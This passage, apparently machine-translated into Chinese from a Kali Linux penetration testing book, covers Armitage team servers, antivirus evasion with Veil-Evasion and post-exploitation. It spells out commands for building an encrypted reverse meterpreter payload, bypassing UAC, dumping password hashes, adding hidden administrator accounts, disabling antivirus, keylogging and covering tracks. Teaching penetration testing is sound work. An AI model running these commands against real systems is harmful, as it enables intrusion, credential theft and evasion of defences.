Armitage 不仅是 Metasploit Framework 的 GUI 前端;它是一个可编写脚本的渗透测试工具,允许团队使用 Metasploit Framework 的单个实例,以便 GUI 显示以下功能:
-
它使用相同的会话,允许一个测试人员监督过程,识别感兴趣的发现,并控制测试的方向。
-
它运行脚本来自动化测试任务。
-
它共享下载的文件,如密码文件。这使得一个团队成员可以专注于破解密码,而其他团队成员继续利用阶段。
-
它使用共享事件日志进行通信。
为了利用团队配置,请确保 Armitage 尚未运行,然后从Armitage
目录中的控制台提示中调用teamserver
脚本,通常位于/usr/share/armitage
,如下所示:
root@kali:/usr/share/armitage# ./teamserverip_address password
确保 IP 地址正确,因为 Armitage 不会验证它,并且所有团队成员都可以在端口55553
上访问主机。当您启动 Armitage 团队服务器时,它将使用 SSL 证书与团队成员进行通信;团队成员应验证证书的 SHA-1 哈希是否与服务器的 SSL 证书匹配。
当teamserver
脚本正在运行时,不要连接到127.0.0.1
,因为 Armitage 使用该 IP 地址进行连接并确定是否应该使用 SSL(teamserver
或远程地址)或非 SSL(localhost
或msfrpcd
)。要将 Armitage 连接到本地的teamserver
,请在Host字段中使用外部 IP 地址。
用户可以打开一个或多个命令行窗口,浏览文件,下载数据并截图。当使用时,Shell 会自动锁定,然后解锁。但是,一些 meterpreter 脚本可能会随着时间的推移而无法正常运行。
为了作为团队进行沟通,菜单中的View选项打开了共享事件日志。您可以像使用 IRC 或其他聊天室一样在日志中进行记录,并且日志会保留所有评论的永久记录。
编写 Armitage 攻击脚本
Armitage 包括基于 Sleep 的 Cortana 脚本语言,这是一种类似 Perl 的可扩展语言。Cortana 脚本可以定义键盘快捷键、插入菜单并创建独特的用户界面。
脚本可以作为独立实体运行(需要 Armitage 团队服务器处于活动状态)或直接从 Armitage 运行。要加载现有脚本,请在主菜单栏中选择Armitage,然后选择Scripts。将打开一个带有选项卡的视图,并且一个按钮将给您加载脚本的选项。
阿米特奇还提供了一个脚本环境,可以从菜单的View | Script Console选项卡中调用,如下面的屏幕截图所示:
使用 Metasploit Framework 完全扫描目标系统的示例脚本可以编写为scanner.cna
。每当添加新主机(host_add
)时,MSF 端口扫描器将扫描一组定义的 TCP 端口和可用的 UDP 端口。看一下下面的代码片段,显示了扫描器脚本:
# MSF port scanner
onhost_add {
println("[*] MSF Port Scanner New Host OpenPorts on$1");
$console = console();
cmd($console, "use auxiliary/scanner/portscan/tcp");
cmd($console, "set THREADS 12");
cmd($console, "set PORTS 139, 143");
# enter other ports as required
cmd($console, "set RHOSTS $1");
cmd($console, "run -j");
cmd($console, "use auxiliary/scanner/discovery/udp_sweep");
cmd($console, "set THREADS 12");
cmd($console, "set BATCHSIZE 256");
cmd($console, "set RHOSTS $1");
cmd($console, "run -j");
db_sync();
}
由于 Cortana 与 Metasploit Framework 有广泛的连接,脚本可以用于自动启动利用、进行后期利用活动(如跟踪用户活动)并促进攻击者的杀伤链上的多用户活动。
绕过身份验证和防病毒检测
杀伤链的利用阶段对于渗透测试人员或攻击者来说是最危险的阶段——他们直接与目标网络或系统进行交互,并且很有可能被记录下他们的活动或发现他们的身份。再次强调,必须采用隐蔽手段来最小化测试人员的风险。虽然没有特定的方法论或工具是不可检测的,但有一些配置更改和特定工具将使检测更加困难。
在考虑远程利用时,大多数网络和系统都采用各种防御控制来最小化攻击风险。网络设备包括路由器、防火墙、入侵检测和防御系统以及恶意软件检测软件。
为了促进利用,大多数框架都包含使攻击有些隐秘的功能。Metasploit 框架允许您在基于特定漏洞的基础上手动设置逃避因素;然而,确定哪些因素(如加密、端口号、文件名等)可能很困难,并且对于每个特定的 ID 都可能会发生变化。Metasploit 框架还允许目标和攻击系统之间的通信进行加密(windows/meterpreter/reverse_tcp_rc4
有效载荷),使得难以检测到利用有效载荷。
Metasploit Pro,在 Kali 发行版上作为试用版提供,包括以下内容,专门用于绕过入侵检测系统:
-
可以在Discovery Scan的设置中调整扫描速度,通过将速度设置为sneaky或paranoid来减少与目标的交互速度
-
通过发送更小的 TCP 数据包并增加数据包之间的传输时间来实现传输逃避
-
减少针对目标系统启动的同时利用数量
-
自动设置涉及 DCERPC、HTTP 和 SMB 的漏洞利用的特定于应用程序的逃避选项
大多数防病毒软件依赖于签名匹配来定位病毒和其他恶意软件。它们检查每个可执行文件中已知存在于病毒中的代码字符串(签名),并在检测到可疑字符串时发出警报。Metasploit 的许多攻击依赖于可能具有签名的文件,这些签名随着时间的推移已被防病毒供应商识别出来。
作为回应,Metasploit 框架允许对独立可执行文件进行编码以绕过检测。不幸的是,对这些可执行文件在virustotal.com等公共网站进行的广泛测试减弱了它们绕过防病毒软件的效果。
由 Chris Truncer 编写的新的 AV 逃避框架,名为 Veil-Evasion(www.Veil-Evasion.com),现在提供了有效的保护,可防止独立利用的检测。Veil-Evasion 将各种 shellcode 注入技术聚合到一个框架中,简化了管理。
作为一个框架,Veil-Evasion 具有以下几个特点:
-
它包含各种编程语言的自定义 shellcode,包括 C、C#和 Python
-
它可以使用 Metasploit 生成的 shellcode
-
它可以集成第三方工具,如 Hyperion(使用 AES-128 位加密对 EXE 文件进行加密)、PEScrambler 和 BackDoor Factory
-
Veil-Evasion_evasion.cna
脚本允许将 Veil-Evasion 集成到 Armitage 及其商业版本 Cobalt Strike 中 -
有效载荷可以生成并无缝地替换所有 PsExec 调用
-
用户可以重用 shellcode 或实现自己的加密方法
-
其功能可以被脚本化以自动部署
-
Veil-Evasion 在不断发展,框架已经扩展了模块,如 Veil-Evasion-Catapult(有效载荷传递系统)
Veil-Evasion 可以生成一个利用有效载荷;独立有效载荷包括以下选项:
-
最小的 Python 安装来调用 shellcode;它上传了一个最小的
Python.zip
安装包和 7zip 二进制文件。Python 环境被解压缩,调用 shellcode。由于与受害者交互的唯一文件是受信任的 Python 库和解释器,受害者的防病毒软件不会检测或警报任何异常活动。 -
Sethc 后门,配置受害者的注册表以启动粘滞键 RDP 后门。
-
PowerShell shellcode 注入器。
有效载荷创建后,可以通过以下两种方式之一交付给目标:
-
使用 Impacket 和 PTH 工具包上传和执行
-
UNC 调用
Veil-Evasion 可以从 Kali 存储库中获取,例如 Veil-Evasion,只需在命令提示符中输入apt-get install veil-evasion
即可自动安装。
注意
如果在安装过程中遇到任何错误,请重新运行/usr/share/veil-evasion/setup/setup.sh
脚本。
Veil-Evasion 向用户呈现主菜单,提供加载的有效载荷模块数量以及可用的命令。输入list
将列出所有可用的payloads
,list langs
将列出可用的语言有效载荷,list <language>
将列出特定语言的有效载荷。Veil-Evasion 的初始启动屏幕如下屏幕截图所示:
Veil-Evasion 正在快速发展,每月发布重要版本,并更频繁地进行重要升级。目前,有 24 个有效载荷旨在通过加密或直接注入内存空间来绕过防病毒软件。这些有效载荷如下屏幕截图所示:
要获取特定有效载荷的信息,请输入info<payload number / payload name>
或info <tab>
以自动完成可用的有效载荷。您也可以直接输入列表中的数字。在下面的示例中,我们输入19
来选择python/shellcode_inject/aes_encrypt
有效载荷:
利用程序包括一个expire_payload
选项。如果模块在指定时间内未被目标用户执行,它将变得无法操作。这个功能有助于攻击的隐秘性。
所需的选项包括选项的名称以及默认值和描述。如果默认情况下未完成必需的值,则测试人员需要在生成有效载荷之前输入一个值。要设置选项的值,请输入set <option name>
,然后输入所需的值。要接受默认选项并创建利用程序,请在命令提示符中输入generate
。
如果有效载荷使用 shellcode,您将看到 shellcode 菜单,您可以选择msfvenom
(默认 shellcode)或自定义 shellcode。如果选择自定义 shellcode 选项,请以\x01\x02
的形式输入 shellcode,不带引号和换行符(\n
)。如果选择默认的msfvenom
,您将提示选择windows/meterpreter/reverse_tcp
的默认有效载荷。如果您希望使用其他有效载荷,请按Tab键完成可用的有效载荷。可用的有效载荷如下屏幕截图所示:
在下面的示例中,使用了[tab]
命令来演示一些可用的有效载荷;然而,默认的(windows/meterpreter/reverse_tcp
)被选择,如下面的屏幕截图所示:
然后,用户将看到输出菜单,并提示选择生成的有效载荷文件的基本名称。如果有效载荷是基于 Python 的,并且您选择了compile_to_exe
作为选项,用户将有两个选项,要么使用Pyinstaller
创建 EXE 文件,要么生成 Py2Exe 文件,如下面的屏幕截图所示:
最终屏幕显示生成的有效载荷信息,如下面的屏幕截图所示:
利用程序也可以直接从命令行创建,使用以下选项:
kali@linux:~./Veil-Evasion.py -p python/shellcode_inject/aes_encrypt -o -output --msfpayload windows/meterpreter/reverse_tcp --msfoptions LHOST=192.168.43.134 LPORT=4444
一旦利用程序被创建,测试人员应该对负载进行 VirusTotal 验证,以确保在放置在目标系统上时不会触发警报。如果负载样本直接提交给 VirusTotal,并且其行为标志着它是恶意软件,那么防病毒(AV)供应商可能会在一小时内发布针对提交的签名更新。这就是为什么用户明确被警告“不要将样本提交给任何在线扫描器!”
Veil-Evasion 允许测试人员对 VirusTotal 进行安全检查。当创建任何负载时,都会创建一个 SHA1 哈希并将其添加到hashes.txt
中,该文件位于~/veil-output
目录中。测试人员可以调用checkvt
脚本将哈希提交给 VirusTotal,VirusTotal 将检查 SHA1 哈希值与其恶意软件数据库进行匹配。如果 Veil-Evasion 负载触发了匹配,那么测试人员就知道它可能会被目标系统检测到。如果没有触发匹配,那么利用程序负载将绕过防病毒软件。使用checkvt
命令进行成功查找(不被 AV 检测到)如下所示:
到目前为止的测试支持了这样的发现,即如果checkvt
在 VirusTotal 上找不到匹配项,则负载将不会被目标的防病毒软件检测到。要与 Metasploit 框架一起使用,使用exploit/multi/handler
并将PAYLOAD
设置为windows/meterpreter/reverse_tcp
(与 Veil-Evasion 负载选项相同),并且与 Veil-Evasion 一样使用相同的 LHOST 和 LPORT。当监听器正常工作时,将利用程序发送到目标系统。当监听器启动时,它将在攻击者的系统上建立一个反向 shell。
摘要
在本章中,我们将利用程序作为将侦察结果转化为定义的行动的工具进行了重点介绍,从而在测试人员和目标之间建立了访问权限。
Kali 提供了几种工具来促进利用程序的开发、选择和激活,包括内部 exploit-db 数据库以及几个简化利用程序使用和管理的框架。在这些框架中,Metasploit 框架和 Armitage 尤为重要;然而,Veil-Evasion 通过其绕过防病毒检测的能力增强了两者。
接下来的两章将重点放在攻击者杀伤链中最重要的部分 - 攻击者的后期利用活动。这是攻击的一部分,攻击者在其中实现其目标。典型的后期利用活动包括窃取和外流数据(专有或财务信息)、通过利用弱访问控制进行水平升级,以及通过窃取用户凭据进行垂直升级。
第五章:攻击后 - 对目标的行动
在现代黑客和系统攻击的世界中,攻击者不太关心利用,而是关心可以利用该访问权限做什么。这是攻击者实现攻击的全部价值的部分。
一旦系统被攻击,攻击者通常执行以下活动:
-
进行快速评估以表征本地环境(基础设施、连接性、帐户、目标文件的存在以及可以促进进一步攻击的应用程序)
-
定位并复制或修改感兴趣的目标文件,如数据文件(专有数据和财务信息)
-
创建额外的帐户并修改系统以支持后期利用活动
-
尝试通过捕获管理员或系统级凭据来垂直升级用于访问的特权级别
-
尝试通过受损系统将攻击转移到网络的其余部分来攻击其他数据系统(水平升级)
-
安装持久后门和隐蔽通道,以保持控制并与受损系统进行安全通信(在第六章中介绍了这一点,后期利用-持久性)
-
从受损系统中删除攻击的迹象
要成功,后期利用活动需要对目标操作系统和文件结构有全面的了解,以确保可以绕过保护控制。第一步是在本地网络环境中对受损系统进行侦察。
在本章中,您将学到以下内容:
-
如何绕过 Windows 用户账户控制(UAC)
-
如何对受损系统进行快速侦察
-
如何从受损系统获取敏感数据(掠夺)
-
如何创建额外的账户
-
如何使用 Metasploit Framework 进行后期利用活动
-
垂直和水平升级技术,以提高您的访问权限并增加受损账户的数量
-
如何使用反取证技术掩盖踪迹,防止发现受损
绕过 Windows 用户账户控制
在 Windows Vista 及更高版本中,微软引入了安全控制,限制进程以三种不同的完整性级别运行:高、中和低。高完整性进程具有管理员权限,中级进程以标准用户权限运行,低完整性进程受限,强制要求程序在受损时造成最小的损害。
要执行任何特权操作,程序必须以管理员身份运行,并遵守 UAC 设置。四个 UAC 设置如下:
-
始终通知:这是最严格的设置,当任何程序想要使用更高级别的权限时,它将提示本地用户。
-
只在程序尝试对计算机进行更改时通知我:这是默认的 UAC 设置。当本机 Windows 程序请求更高级别的权限时,它不会提示用户。但是,如果第三方程序想要提升权限,它将提示。
-
只在程序尝试对计算机进行更改时通知我(不使我的桌面变暗):这与默认设置相同,但在提示用户时不会使系统的监视器变暗。
-
从不通知:此选项将系统恢复到 Vista 之前的状态。如果用户是管理员,所有程序都将以高完整性运行。
因此,在利用后立即,测试人员(和攻击者)希望了解以下两件事:
-
系统识别的用户是谁?
-
他们在系统上有什么权限?
可以使用以下命令确定:
C:\> whoami /groups
受损系统正在高完整性环境中运行,如下截图中的“强制标签\高强制级别标签”所示:
如果“标签”是“强制标签\中等强制级别”,测试人员需要将标准用户权限提升为管理员权限,以便许多后期利用步骤能够成功。
提升权限的第一个选项是从 Metasploit 运行exploit/windows/local/ask
,这将启动RunAs
攻击。这将创建一个可执行文件,当调用时,将运行一个程序来请求提升的权限。可执行文件应使用EXE::Custom
选项创建,或者使用Veil-Evasion
加密,以避免本地杀毒软件的检测。
RunAs
攻击的缺点是用户将收到警告,即来自未知发布者的程序想要对计算机进行更改。此警报可能导致特权升级被识别为攻击。
如果系统的当前用户属于管理员组,并且 UAC 设置为默认的“仅在程序尝试更改计算机时通知我”(如果设置为“始终通知”则不起作用),攻击者将能够使用 Metasploit exploit/windows/local/bypassuac
模块来提升其权限。
bypassuac
模块在目标系统上创建多个工件,并且大多数防病毒软件都能识别。但是,exploit/windows/local/bypassuac_inject
模块将可执行文件直接放入运行内存中的反射 DLL 中,并且不会触及硬盘,最大程度地减少了被防病毒软件检测到的机会。
尝试绕过 UAC 控制时的一些注意事项如下:
-
绕过 UAC 攻击不适用于 Windows Vista,用户需要确认每个特权访问。
-
Windows 8 仍然容易受到这种攻击。但是,Metasploit Framework 攻击目前不适用于 Windows 8.1。如果尝试,用户将被提示点击“确定”按钮,然后攻击才能获得提升的特权——这几乎不是一个隐秘的攻击。攻击者可以通过选择使用
exploit/windows/local/ask
来修改攻击,这将提高成功的机会。 -
在考虑系统间移动(水平/横向升级)时,如果当前用户是域用户,并且在其他系统上具有本地管理员特权,您可以使用现有的身份验证令牌来获取访问权限并绕过 UAC。实现这一点的常见攻击是 Metasploit
exploit/windows/local/current_user_psexec
。
对受损系统进行快速侦察
一旦系统被攻击,攻击者需要获取有关该系统、其网络环境、用户和用户帐户的关键信息。通常,他们将从 shell 提示符输入一系列命令或调用这些命令的脚本。
如果受损系统基于 Unix 平台,则典型的本地侦察命令将包括以下内容:
命令 | 描述 |
---|---|
/etc/resolv.conf | 使用copy 命令访问和查看系统当前的 DNS 设置。因为它是一个具有读权限的全局文件,所以在访问时不会触发警报。 |
/etc/passwd 和/etc/shadow | 这些是包含用户名和密码哈希的系统文件。具有根级访问权限的人可以复制它,并可以使用诸如 John the Ripper 之类的工具来破解密码。 |
whoami and who -a | 识别本地系统上的用户。 |
ifconfig -a ,iptables -L -n 和netstat -r | 提供网络信息。ifconfig -a 提供 IP 地址详细信息,iptables -L -n 列出本地防火墙中保存的所有规则(如果存在),netstat -r 显示内核维护的路由信息。 |
uname -a | 打印内核版本。 |
ps aux | 打印当前运行的服务、进程 ID 和其他信息。 |
dpkg -l yum list | grep installed 和dpkg -l rpm -qa --last | head | 识别已安装的软件包。 |
这些命令包含了可用选项的简要概述。有关如何使用它的完整信息,请参考相应命令的帮助文件。
对于 Windows 系统,将输入以下命令:
命令 | 描述 |
---|---|
whoami /all | 列出当前用户、SID、用户特权和组。 |
ipconfig /all 和ipconfig /displaydns | 显示有关网络接口、连接协议和本地 DNS 缓存的信息。 |
netstat -bnao 和netstat -r | 列出端口和连接以及相应的进程(-b )到无查找(-n ),所有连接(-a )和父进程 ID(-o )。-r 选项显示路由表。它们需要管理员权限才能运行。 |
net view 和 net view /domain | 查询 NBNS/SMB 以定位当前工作组或域中的所有主机。使用 /domain 可以获取主机可用的所有域。 |
net user /domain | 列出定义域中的所有用户。 |
net user %username% /domain | 如果用户是查询的域的一部分,则获取有关当前用户的信息(如果您是本地用户,则不需要 /domain )。它包括登录时间、上次更改密码的时间、登录脚本和组成员资格。 |
net accounts | 打印本地系统的密码策略。要打印域的密码策略,请使用 net accounts /domain 。 |
net localgroup administrators | 打印管理员本地组的成员。使用 /domain 开关获取当前域的管理员。 |
net group "Domain Controllers" /domain | 打印当前域的域控制器列表。 |
net share | 显示当前共享的文件夹,这些文件夹中共享的数据可能没有足够的访问控制,并显示它们指向的路径。 |
使用 WMIC 脚本语言
在较新的系统上,攻击者和渗透测试人员利用内置的脚本语言,例如Windows 管理规范命令行(WMIC),这是一个用于简化访问 Windows 管理的命令行和脚本接口。如果受损系统支持 WMIC,则可以使用多个命令来收集信息。参考以下表格:
命令 | 描述 |
---|---|
wmic nicconfig get ipaddress,macaddress | 获取 IP 地址和 MAC 地址 |
wmic computersystem get username | 验证被 compromise 的帐户 |
wmic netlogin get name, lastlogon | 确定谁最后使用了这个系统以及他们上次登录的时间 |
wmic desktop get screensaversecure, screensavertimeout | 确定屏幕保护程序是否受密码保护以及超时时间 |
wmic logon get authenticationpackage | 确定支持哪些登录方法 |
wmic process get caption, executablepath, commandline | 识别系统进程 |
wmic process where name="process_name" call terminate | 终止特定进程 |
wmic os get name, servicepackmajorversion | 确定系统的操作系统 |
wmic product get name, version | 识别已安装的软件 |
wmic product where name="name' call uninstall /nointeractive | 卸载或移除已定义的软件包 |
wmic share get /ALL | 识别用户可访问的共享 |
wmic /node:"machinename" path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1" | 远程启动 RDP |
wmic nteventlog get path, filename, writeable | 查找所有系统事件日志,并确保它们可以被修改(在覆盖痕迹时使用) |
PowerShell 是建立在.NET Framework 上的脚本语言,从控制台运行,使用户可以访问 Windows 文件系统和诸如注册表之类的对象。它默认安装在 Windows 7 操作系统和更高版本上。PowerShell 通过允许在本地和远程目标上使用 shell 集成和互操作性,扩展了 WMIC 提供的脚本支持和自动化。
PowerShell 为测试人员提供了对受损系统上的 shell 和脚本语言的访问。由于它是 Windows 操作系统的本机功能,其命令的使用不会触发防病毒软件。当在远程系统上运行脚本时,PowerShell 不会写入磁盘,从而绕过防病毒软件和白名单控制(假设用户已允许使用 PowerShell)。
PowerShell 支持许多内置函数,称为 cmdlet。PowerShell 的一个优点是 cmdlet 被别名为常见的 Unix 命令,因此输入ls
命令将返回典型的目录列表,如下面的屏幕截图所示:
!使用 WMIC 脚本语言
PowerShell 是一种功能丰富的语言,能够支持非常复杂的操作;建议用户花时间熟悉其使用。以下表格描述了一些可以在受损后立即使用的较简单的命令:
命令 | 描述 |
---|---|
Get-Host | Select Version | 识别受害者系统使用的 PowerShell 版本。一些 cmdlet 在不同版本中被添加或调用。 |
Get-Hotfix | 识别已安装的安全补丁和系统热修复。 |
Get-Acl | 识别组名和用户名。 |
Get-Process, Get-Service | 列出当前的进程和服务。 |
gwmi win32_useraccount | 调用 WMI 列出用户帐户。 |
Gwmi_win32_group | 调用 WMI 列出 SID、名称和域组。 |
渗透测试人员可以将 Windows 本机命令、DLL、.NET 函数、WMI 调用和 PowerShell cmdlet 结合在一起,创建扩展名为.ps1
的 PowerShell 脚本。
提示
在最近的渗透测试中,我们被禁止在客户系统上安装任何可执行软件。我们在一个受损的系统上使用了一个 PowerShell 键盘记录器来获取管理员级别的凭据,然后侵入了网络上的大多数系统。最有效的利用和后利用脚本,包括键盘记录器,都是 Nikhil Mittal 的Nishang
包的一部分(code.google.com/p/nishang/downloads/detail?name=nishang_0.3.0.zip
)。
侦察还应扩展到本地网络。由于您是“盲目”的,您需要创建一个可以与受损主机通信的活动系统和子网的地图。首先,在 shell 提示符中输入IFCONFIG
(基于 Unix 的系统)或IPCONFIG /ALL
(Windows 系统)。这将允许攻击者确定以下内容:
-
是否启用了 DHCP 寻址。
-
本地 IP 地址,这也将识别至少一个活动子网。
-
网关 IP 地址和 DNS 服务器地址。系统管理员通常在整个网络上遵循编号约定,如果攻击者知道一个地址,比如网关服务器
172.16.21.5
,他们将 ping 地址,比如172.16.20.5
,172.16.22.5
等等,以找到其他子网。 -
用于利用Active Directory账户的域名。
如果攻击系统和目标系统都使用 Windows,则可以使用net view
命令枚举网络上的其他 Windows 系统。攻击者使用netstat -rn
命令来查看路由表,其中可能包含对感兴趣的网络或系统的静态路由。
可以使用nmap
扫描本地网络以嗅探 ARP 广播。此外,Kali 还有几个工具可用于 SNMP 端点分析,包括nmap
、onesixtyone
和snmpcheck
。
部署数据包嗅探器以映射流量将帮助您识别主机名、活动子网和域名。如果未启用 DHCP 寻址,它还将允许攻击者识别任何未使用的静态 IP 地址。Kali 预配置了 Wireshark(基于 GUI 的数据包嗅探器),但您也可以在后利用脚本中或从命令行中使用tshark
,如下面的屏幕截图所示:
!使用 WMIC 脚本语言
查找和获取敏感数据-掠夺目标
术语掠夺(有时被称为偷窃)是黑客成功侵入系统后,将自己视为海盗,竞相赶到目标地点窃取或破坏尽可能多的数据的遗留物。这些术语作为参考,仍然存在,用于指代在实现利用的目标后,更加谨慎地窃取或修改专有或财务数据的做法。
然后,攻击者可以专注于次要目标——提供信息以支持额外攻击的系统文件。次要文件的选择将取决于目标的操作系统。例如,如果受损的系统是 Unix,则攻击者还将针对以下目标:
-
系统和配置文件(通常在
/etc
目录中,但根据实现方式,它们可能在/usr/local/etc
或其他位置) -
密码文件(
/etc/password
和/etc/shadow
) -
.ssh
目录中的配置文件和公钥/私钥 -
.gnupg
目录中可能包含的公钥和私钥环 -
电子邮件和数据文件
在 Windows 系统中,攻击者将针对以下目标:
-
系统内存,可用于提取密码、加密密钥等。
-
系统注册表文件
-
包含密码的安全账户管理器(SAM)数据库的哈希版本,或者可能在
%SYSTEMROOT%\repair\SAM
和%SYSTEMROOT%\System32\config\RegBack\SAM
中找到的 SAM 数据库的其他版本 -
用于加密的任何其他密码或种子文件
-
电子邮件和数据文件
提示
不要忘记查看包含临时项目的文件夹,例如附件。例如,UserProfile\AppData\Local\Microsoft\Windows\Temporary Internet Files\
可能包含感兴趣的文件、图像和 Cookie。
如前所述,系统内存对于任何攻击者来说包含大量信息。因此,通常是您需要获取的优先文件。系统内存可以从以下几个来源下载为单个镜像文件:
-
通过上传工具到受损系统,然后直接复制内存(工具包括Belkasoft RAM capturer、MandiantMemoryze和MonsolsDumpIt)。
-
通过复制 Windows 休眠文件
hiberfil.sys
,然后使用 Kali 中的取证
菜单中的 Volatility 来解密和分析文件。Volatility 是一个框架,用于分析系统 RAM 和其他包含系统内存的文件的内存转储。它依赖于用 Python 编写的插件来分析内存并提取数据,如加密密钥、密码、注册表信息、进程和连接信息。 -
通过复制虚拟机并将 VMEM 文件转换为内存文件。
提示
如果您将设计用于捕获内存的程序上传到受损系统,可能会被防病毒软件识别为恶意软件。大多数防病毒软件应用程序会识别内存获取软件的哈希签名和行为,并在内存内容面临泄露风险时发出警报以保护敏感内容。获取软件将被隔离,并且目标将收到警报,提醒他们受到攻击。
为了避免这种情况,使用 Metasploit Framework 在目标的内存中完全运行可执行文件,使用以下命令:
meterpreter> execute -H -m -d calc.exe -f <memoryexecutable + parameters>
先前的命令将calc.exe
作为虚拟可执行文件执行,但上传内存获取可执行文件以在其进程空间中运行。
可执行文件不会显示在诸如任务管理器之类的进程列表中,使用数据取证技术进行检测要困难得多,因为它没有写入磁盘。此外,它将避开系统的防病毒软件,因为通常不会扫描内存空间以寻找恶意软件。
一旦物理内存被下载,就可以使用 Volatility Framework 对其进行分析,这是一组用于法庭取证分析内存的 Python 脚本集。如果操作系统受支持,Volatility 将扫描内存文件并提取以下内容:
-
足以将图像与其源系统联系起来的图像信息和系统数据。
-
运行的进程、加载的 DLL、线程、套接字、连接和模块。
-
打开的网络套接字和连接,以及最近打开的网络连接。
-
内存地址,包括物理和虚拟内存映射。
-
LM/NTLM 哈希和 LSA 秘密。LanMan(LM)密码哈希是微软最初尝试保护密码的方法。多年来,它变得很容易破解,并将哈希转换回实际密码。NT LanMan(NTLM)哈希是更近期的,对攻击更有韧性。然而,它们通常与 NTLM 版本一起存储,以实现向后兼容性的目的。本地安全机构(LSA)存储本地密码的“秘密”:远程访问(有线或无线)、VPN、自动登录密码等。系统上存储的任何密码都是脆弱的,特别是如果用户重复使用密码。
-
存储在内存中的特定正则表达式或字符串。
使用感染了 Zeus 恶意软件的系统的示例图像(code.google.com/p/volatility/wiki/SampleMemoryImages
),我们将使用 Volatility Framework 来提取加密的 LanMan 密码哈希。
第一步是使用以下命令确定图像类型和操作系统:
root@kali:usr/share/volatility# python vol.py imageinfo -f
/root/Desktop/zeus.vmem
上一条命令的执行如下截图所示:
hivelist插件将在调用以下命令时打印出各个注册表蜂巢的初始虚拟内存位置:
root@kali:usr/share/volatility#python vol.py hivelist -f
/root/Desktop/zeus.vmem
上一条命令的执行如下截图所示:
为了转储哈希,需要 SAM 和 SYSTEM 蜂巢的初始虚拟内存位置。使用以下命令,结果被导入到逗号分隔的文件中,以便由密码破解应用程序直接导入:
root@kali:usr/share/volatility#python vol.py hashdump -f
/root/Desktop/zeus.vmem -y 0xe101b008 -s 0xe1544008
>>/root/Desktop/hashdump.csv
上一条命令的执行如下截图所示:
孤立的 LM 哈希可以使用 Hashcat、John the Ripper、Ophcrack 和 Rainbow Tables 进行破解。
创建额外的帐户
以下命令是高度侵入性的,通常会在事件响应过程中被系统所有者检测到。然而,它们经常被攻击者植入,以转移对更持久的访问机制的注意力。请参阅以下表格:
命令 | 描述 |
---|---|
net user attacker password /add | 创建一个名为attacker 的新本地帐户,密码为password 。 |
net localgroup administrators attacker /add | 将新用户attacker 添加到本地管理员组。在某些情况下,命令将是net localgroup administrators /add attacker 。 |
net user username /active:yes /domain | 将非活动或禁用的帐户更改为活动状态。在小型组织中,这将引起注意。密码管理不善的大型企业可能有 30%的密码被标记为“非活动”,因此这可能是一种获得帐户的有效方式。 |
net share name$=C:\ /grant:attacker,FULL /unlimited | 将C: (或其他指定的驱动器)共享为 Windows 共享,并授予用户(攻击者)对该驱动器上所有内容的完全访问或修改权限。 |
如果创建一个新用户帐户,当有人登录到受损系统的欢迎屏幕时会被注意到。要使帐户不可见,您需要使用以下REG
命令从命令行修改注册表:
REG ADD
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion
\WinLogon\SpecialAccounts\UserList /V account_name /
T REG_DWORD /D 0
这将修改指定的注册表键以隐藏用户的帐户(/V
)。同样,根据目标操作系统的具体版本可能有特殊的语法要求,因此首先确定 Windows 版本,然后在受控测试环境中验证它,然后再对目标实施。
使用 Metasploit 进行后渗透活动
Metasploit 被开发用于支持利用和后渗透活动。当前版本包含大约 200 个模块,简化了后渗透活动。我们将回顾一些最重要的模块。
在下面的屏幕截图中,我们成功地利用了 Windows XP 系统(这是一个经常用于验证meterpreter
更复杂方面的“经典”攻击)。初始步骤是立即对网络和受损系统进行侦察。
初始的meterpreter
shell 很脆弱,容易在较长时间内失败。因此,一旦系统被利用,我们将迁移 shell 并将其绑定到更稳定的进程上。这也使得检测利用更加困难。
在meterpreter
提示符下,输入ps
以获取正在运行的进程列表,如下面的屏幕截图所示:
ps
命令还返回每个进程的完整路径名。这在之前的屏幕截图中被省略了。ps
列表确定c:\windows\Explorer.EXE
正在运行。在这种特殊情况下,它被标识为进程 ID1460
,如下面的屏幕截图所示。由于这是一个通常稳定的应用程序,我们将把 shell 迁移到该进程。
现在我们已经与远程系统建立了稳定的 shell 连接,我们将使用支持后渗透活动的meterpreter
脚本。
要识别的第一个参数之一是:我们是否在虚拟机上?在受损系统和攻击者之间打开meterpreter
会话后,发出命令run checkvm
,如下面的屏幕截图所示。返回的数据表明这是一个 VMware 虚拟机
。
通过meterpreter
可用的一些最重要的后渗透模块在下表中描述:
命令 | 描述 |
---|---|
run checkvm | 确定虚拟机是否存在。 |
run getcountermeasure | 检查受损系统的安全配置(防病毒软件、防火墙等)。 |
run killav | 禁用运行在受损系统上的大多数防病毒服务。这个脚本经常过时,成功应该手动验证。 |
run hostsedit | 允许攻击者向 Windows HOSTS 文件添加条目。这可以将流量转向不同的站点(一个假站点),该站点将下载其他工具或确保防病毒软件无法连接到互联网或本地服务器以获取签名更新。 |
run winenum | 执行受损系统的命令行和 WMIC 特性描述。它从注册表和 LM 哈希中转储重要的键。 |
run scraper | 收集其他脚本未收集的全面信息,例如整个 Windows 注册表。 |
run upload 和 run download | 允许攻击者在目标系统上上传和下载文件。 |
run keyscan_start 、run keyscan_stop 和 run keyscan_dump | 在受损系统上启动和停止本地键盘记录器。当数据收集完成时,收集的文本数据将被转储到攻击者的系统上。 |
run getprivs | 尝试启用当前进程可用的所有权限。对于权限提升非常有用。 |
run getsystem | 尝试将权限提升到 Windows SYSTEM 级别;授予用户最大可能的权限提升。 |
Run hashdump | 转储攻击者系统上 SAM 数据库的内容。 |
run getgui | 允许用户启用 RDP(getgui -e )并设置用户名和密码(getgui -u )。gettelnet 脚本可以以相同的方式运行。 |
run vnc | 为攻击者提供对受损系统的远程 GUI(VNC)访问。 |
最有效的meterpreter
脚本之一是Windows 枚举器(winenum)。如下图所示,它使用命令行和 WMIC 调用来完全描述目标系统:
除了枚举,winenum
脚本还会转储注册表并收集系统哈希以便解密,如下面的屏幕截图所示:
meterpreter
附带了几个支持复杂功能的有用库。例如,espia
库支持通过以下命令对受损系统进行截屏:
meterpreter> use espia
Loading extension espia ... success.
meterpreter> screenshot /Desktop/target.jpeg
Screenshot saved to: /root/xsWoDDbW.jpeg
stdapi
库允许远程攻击者通过收集受损系统的音频和视频来操纵网络摄像头,并将数据传送回攻击者。
提升受损主机上的用户权限
